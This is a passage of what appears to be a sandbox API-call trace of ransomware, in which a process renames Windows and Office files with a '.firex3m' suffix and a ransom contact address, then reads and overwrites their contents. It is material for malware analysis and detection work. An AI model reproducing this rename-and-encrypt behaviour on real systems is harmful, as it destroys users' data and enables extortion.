hTemplateFile=0x0) returned 0xffffffff [0243.273] Sleep (dwMilliseconds=0x1) [0243.291] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Moon_icon.png", len=0x73 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Moon_icon.png") returned 1 [0243.291] GetProcessHeap () returned 0x630000 [0243.291] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51a8) returned 0x6fe3bb0 [0243.291] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Moon_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\moon_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.295] Sleep (dwMilliseconds=0x1) [0243.302] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Double Wave.png", len=0x75 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Double Wave.png") returned 1 [0243.302] GetProcessHeap () returned 0x630000 [0243.302] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x518c) returned 0x6fe3bb0 [0243.303] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Double Wave.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\double wave.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.316] Sleep (dwMilliseconds=0x1) [0243.343] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150_contrast-black.png", len=0x7d | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150_contrast-black.png") returned 1 [0243.343] GetProcessHeap () returned 0x630000 [0243.343] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5108) returned 0x6fe3bb0 [0243.343] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-150_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.343] Sleep (dwMilliseconds=0x1) [0243.349] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100_contrast-black.png", len=0x7d | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100_contrast-black.png") returned 1 [0243.349] GetProcessHeap () returned 0x630000 [0243.349] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50f0) returned 0x6fe3bb0 [0243.349] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.349] Sleep (dwMilliseconds=0x1) [0243.368] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150.png", len=0x72 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150.png") returned 1 [0243.368] GetProcessHeap () returned 0x630000 [0243.368] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x508c) returned 0x6fe3bb0 [0243.368] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-150.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.368] Sleep (dwMilliseconds=0x1) [0243.393] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400.png", len=0x6e | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400.png") returned 1 [0243.393] GetProcessHeap () returned 0x630000 [0243.393] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5068) returned 0x6fe3bb0 [0243.393] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-400.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.394] Sleep (dwMilliseconds=0x1) [0244.259] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-256.png", len=0x7e | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-256.png") returned 1 [0244.259] GetProcessHeap () returned 0x630000 [0244.259] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f48) returned 0x6fe3bb0 [0244.259] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.260] Sleep (dwMilliseconds=0x1) [0246.217] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\eqnedt32.exe", len=0x67 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\eqnedt32.exe") returned 1 [0246.217] GetProcessHeap () returned 0x630000 [0246.217] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e34) returned 0x6fe3bb0 [0246.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\eqnedt32.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0246.218] CloseHandle (hObject=0x698) returned 1 [0246.218] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\eqnedt32.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\equation\\eqnedt32.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\eqnedt32.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\equation\\eqnedt32.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.219] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\eqnedt32.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28505256, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a80, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="eqnedt32.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EQNEDT~1.FIR")) returned 0x6d5340 [0246.219] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0246.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\eqnedt32.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\equation\\eqnedt32.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0246.220] GetProcessHeap () returned 0x630000 [0246.220] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x700cc80 [0246.220] GetProcessHeap () returned 0x630000 [0246.220] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70180b0 [0246.220] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.220] ReadFile (in: hFile=0x698, lpBuffer=0x700cc80, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc80*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.690] GetProcessHeap () returned 0x630000 [0253.690] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0253.691] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.691] WriteFile (in: hFile=0x698, lpBuffer=0x70180b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70180b0*, lpNumberOfBytesWritten=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.691] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.691] WriteFile (in: hFile=0x698, lpBuffer=0x70234af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234af*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.693] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.693] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.693] CloseHandle (hObject=0x698) returned 1 [0253.693] GetProcessHeap () returned 0x630000 [0253.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70180b0 | out: hHeap=0x630000) returned 1 [0253.693] GetProcessHeap () returned 0x630000 [0253.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700cc80 | out: hHeap=0x630000) returned 1 [0253.694] GetProcessHeap () returned 0x630000 [0253.694] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0254.416] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.417] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\eqnedt32.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28505256, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d2a320e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x84aa4, dwReserved0=0x90c7496, dwReserved1=0x700cc78, cFileName="eqnedt32.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EQNEDT~1.FIR")) returned 0x6d4ec0 [0254.417] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0254.417] Sleep (dwMilliseconds=0x1) [0254.448] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-100.png", len=0xa1 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-100.png") returned 1 [0254.448] GetProcessHeap () returned 0x630000 [0254.448] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e0c) returned 0x6fe3bb0 [0254.448] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.462] Sleep (dwMilliseconds=0x1) [0255.820] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\PREVIEW.GIF", len=0x6e | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\PREVIEW.GIF") returned 1 [0255.820] GetProcessHeap () returned 0x630000 [0255.820] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d1c) returned 0x6fe3bb0 [0255.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0257.703] CloseHandle (hObject=0x714) returned 1 [0257.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5500 [0257.706] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0257.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0257.706] GetProcessHeap () returned 0x630000 [0257.706] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e1) returned 0x720758 [0257.706] GetProcessHeap () returned 0x630000 [0257.706] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e1) returned 0x6719c8 [0257.706] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.706] ReadFile (in: hFile=0x714, lpBuffer=0x720758, nNumberOfBytesToRead=0x4c0, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x720758*, lpNumberOfBytesRead=0x623ff0c*=0x4c0, lpOverlapped=0x0) returned 1 [0257.712] GetProcessHeap () returned 0x630000 [0257.712] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0257.712] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.712] WriteFile (in: hFile=0x714, lpBuffer=0x6719c8*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6719c8*, lpNumberOfBytesWritten=0x623ff0c*=0x4c0, lpOverlapped=0x0) returned 1 [0257.712] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.712] WriteFile (in: hFile=0x714, lpBuffer=0x671e87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x671e87*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.712] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.712] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.713] CloseHandle (hObject=0x714) returned 1 [0257.713] GetProcessHeap () returned 0x630000 [0257.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6719c8 | out: hHeap=0x630000) returned 1 [0257.713] GetProcessHeap () returned 0x630000 [0257.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x720758 | out: hHeap=0x630000) returned 1 [0257.713] GetProcessHeap () returned 0x630000 [0257.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0257.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f8f9d24, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x90c7496, dwReserved1=0x720750, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0257.713] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0257.713] Sleep (dwMilliseconds=0x1) [0257.764] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\THMBNAIL.PNG", len=0x6c | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\THMBNAIL.PNG") returned 1 [0257.764] GetProcessHeap () returned 0x630000 [0257.764] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca4) returned 0x6fe3bb0 [0257.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0257.791] CloseHandle (hObject=0x4e4) returned 1 [0257.791] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.794] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x6f0063, dwReserved1=0x74006e, 